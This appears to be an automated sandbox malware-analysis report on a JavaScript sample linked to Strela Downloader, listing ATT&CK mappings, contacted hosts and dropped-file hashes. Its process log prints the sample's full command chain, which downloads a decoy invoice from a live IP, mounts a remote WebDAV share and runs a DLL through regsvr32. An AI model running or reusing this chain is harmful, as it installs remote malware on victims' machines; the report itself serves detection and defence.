Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1667730710460316051.js	5%	Virustotal		Browse
1667730710460316051.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/L	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/v	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.35	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1344353388.0000029F652E0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2537086499.0000029F65400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/v	net.exe, 0000000D.00000002.1355775658.000001F9A4818000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1355775658.000001F9A484C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1355775658.000001F9A486B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1355775658.000001F9A4818000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/L	net.exe, 0000000D.00000002.1355775658.000001F9A484C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588201
Start date and time:	2025-01-10 22:34:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1667730710460316051.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.64.41.3, 162.159.61.3, 184.28.88.176, 2.23.242.162, 23.209.209.135, 3.233.129.217, 52.6.155.20, 3.219.243.226, 52.22.41.97, 2.16.100.168, 88.221.110.91, 2.16.168.105, 2.16.168.107, 13.107.246.45, 20.12.23.50, 34.237.241.83, 96.17.64.171, 4.245.163.56
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:35:38	API Interceptor	23x Sleep call for process: powershell.exe modified
16:35:42	API Interceptor	1x Sleep call for process: net.exe modified
16:35:42	API Interceptor	2x Sleep call for process: svchost.exe modified
16:35:50	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	217.20.57.18
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	217.20.57.42
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
bg.microsoft.map.fastly.net	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23614810137024152.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20394193042959831455.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.706716265038601
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqw:2JIB/wUKUKQncEmYRTwh00
MD5:	2120C8B300898E9E4442F7D25CE57E98
SHA1:	7770C6FE13E4B238EE1ECAB98F7A6AC4B4A13125
SHA-256:	87D04611823F816CA502A550254655CA231E05951C73F32A4172E1950AD5CD1E
SHA-512:	799D978D98CC13DE34F92404EC14D5BAB373DBEAD11FE820092863F0736576FC1F288F10271C997736FEEF0C9DFC6845A7AE92068ADF35B60AA83AD34E19B063
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x8802ad17, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899918771222015
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:DazaPvgurTd42UgSii
MD5:	C0B162771C9227A01016B206E61C7089
SHA1:	6BD62986A8EEAED364E34E09A0AF9C5CB9EAAF76
SHA-256:	E73AEDE9C62CB083A331878DCB7414B3BE0D44B0EF14878F97CA9F93C4669F98
SHA-512:	5A94F70356049C1D255FC819EC8312D978429A993EC0A789814E2AE4B0DF01F3A49DEF471726A3AB73AC5C3C90FE49CE98C61F44F6B335F984C10BF6022C8801
Malicious:	false
Preview:	....... ...............X\...;...{......................0.`.....42...{5.#...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................Ro.#...}m.................N..*#...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08217889886404028
Encrypted:	false
SSDEEP:	3:vsSlllEYe4n6riqeqt/57Dek3Jrz08Z1YllEqW3l/TjzzQ/t:0dzE6PPR3t08ZOmd8/
MD5:	6614701BC9E1CA645E3BB36066AEA6E0
SHA1:	E055629C049D1A5CDD55DF4D447F08A9ED7C4135
SHA-256:	30346952F91D96F7F757BAC4AA96375B602114C3BD4955862C6D8F9D4141986B
SHA-512:	4BE591258BD603833421C42F550FBE6DDA6307439941A552EC3B4A90F7B84F0BB6DBB7DB1D942CF6204A544BE20F42336B901CAAEBBE36CCBC4E8E0C0CB2A8AB
Malicious:	false
Preview:	$........................................;...{..#...}..42...{5.........42...{5.42...{5...Y.42...{59................N..#...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.206761142081114
Encrypted:	false
SSDEEP:	6:iO4p5tFSq2PcNwi2nKuAl9OmbnIFUtSp5vFbZmwsp5OFkwOcNwi2nKuAl9OmbjLJ:7u5tFSvLZHAahFUtE5F/K5OF54ZHAaSJ
MD5:	CBF534ED30C6494EF9C1FD8B17DF058A
SHA1:	A8A49FCE7DDFCF119298D67E9328172E7E4BD0AD
SHA-256:	B7CA37244AB22CA600C239B42349ED401EB89E7A282A3E106FDA0428B0F4A54A
SHA-512:	F128228731B9A6D34E8D3732166CD210F4287A34214F1F7CC747BA5F81613CDB8357777231DB349DF06FCA938EC7E4A280909AAE748E157EE1D737B773858F5B
Malicious:	false
Preview:	2025/01/10-16:35:42.390 1d10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:35:42.392 1d10 Recovering log #3.2025/01/10-16:35:42.393 1d10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.206761142081114
Encrypted:	false
SSDEEP:	6:iO4p5tFSq2PcNwi2nKuAl9OmbnIFUtSp5vFbZmwsp5OFkwOcNwi2nKuAl9OmbjLJ:7u5tFSvLZHAahFUtE5F/K5OF54ZHAaSJ
MD5:	CBF534ED30C6494EF9C1FD8B17DF058A
SHA1:	A8A49FCE7DDFCF119298D67E9328172E7E4BD0AD
SHA-256:	B7CA37244AB22CA600C239B42349ED401EB89E7A282A3E106FDA0428B0F4A54A
SHA-512:	F128228731B9A6D34E8D3732166CD210F4287A34214F1F7CC747BA5F81613CDB8357777231DB349DF06FCA938EC7E4A280909AAE748E157EE1D737B773858F5B
Malicious:	false
Preview:	2025/01/10-16:35:42.390 1d10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:35:42.392 1d10 Recovering log #3.2025/01/10-16:35:42.393 1d10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.184673340305438
Encrypted:	false
SSDEEP:	6:iO4p5eqM+q2PcNwi2nKuAl9Ombzo2jMGIFUtSp5PZmwsp5ZlMVkwOcNwi2nKuAlx:7u5eqM+vLZHAa8uFUtE5P/K5TMV54ZHA
MD5:	82ED6A18551AA2CD19014BA7867B8F50
SHA1:	258E1583592020D7AEF222920B332D972C341089
SHA-256:	DABD9E125D64BE020D7A67675C2B6830D43B98F7D47D9BD66A6F1AC57F7CE914
SHA-512:	45A2AC196E3FB7314604DA87570F33A589010D9C19EDD300A5C745F697BA23109E07AF704364016834C1069EEDE2620580272035DDDBDD9A8EEA838226D64B12
Malicious:	false
Preview:	2025/01/10-16:35:42.531 1d6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:35:42.532 1d6c Recovering log #3.2025/01/10-16:35:42.533 1d6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.184673340305438
Encrypted:	false
SSDEEP:	6:iO4p5eqM+q2PcNwi2nKuAl9Ombzo2jMGIFUtSp5PZmwsp5ZlMVkwOcNwi2nKuAlx:7u5eqM+vLZHAa8uFUtE5P/K5TMV54ZHA
MD5:	82ED6A18551AA2CD19014BA7867B8F50
SHA1:	258E1583592020D7AEF222920B332D972C341089
SHA-256:	DABD9E125D64BE020D7A67675C2B6830D43B98F7D47D9BD66A6F1AC57F7CE914
SHA-512:	45A2AC196E3FB7314604DA87570F33A589010D9C19EDD300A5C745F697BA23109E07AF704364016834C1069EEDE2620580272035DDDBDD9A8EEA838226D64B12
Malicious:	false
Preview:	2025/01/10-16:35:42.531 1d6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:35:42.532 1d6c Recovering log #3.2025/01/10-16:35:42.533 1d6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6298798a-fdda-4a31-9aae-2ab427ce89ca.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.971105805422558
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqIIsBdOg2HJcaq3QYiubSpDyP7E4TX:Y2sRdsPdMHw3QYhbSpDa7n7
MD5:	A30FB6F0CED51060CC71C6686B9A273F
SHA1:	17D08FE1A6EDB537490302280CC22749CC813748
SHA-256:	22AB0479D2DC0491027867282DFCF9AE8AA40F47C925887F7B4EF53F2C9C64D5
SHA-512:	7AE434645396B03600B8773A2E41CE8D2B48197222C53EA4BC77A241179B2C4CBD6398693707EDD966F0955FE86777CF69E7364DC4156D8A66162D07A6C342FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381104954130127","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":486582},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8f44572c-592f-4930-a964-04168c1caf4a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF51a59c.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.232816783125355
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPeMbUz:CwNw1GHqPySfkcigoO3h28ytPe3z
MD5:	C30C34919553D7E662352F24DC3DCDD5
SHA1:	E2CF85BED0C45BAF927929D211DE4BCB571FFB97
SHA-256:	4A1B5ECCC288034A6423DA4F4A8DE801FF7B29C130BA350E76FBCC8F060F0A02
SHA-512:	41F1ABC8DD84BF86732E52399F4F3BD894816F6AC6A14206306D6475F09BEEE40A6E7BFE51F6F7F863AE40CCD9B0B41819AA895849F3EC5FF58D6DB78B925417
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.2194526396066605
Encrypted:	false
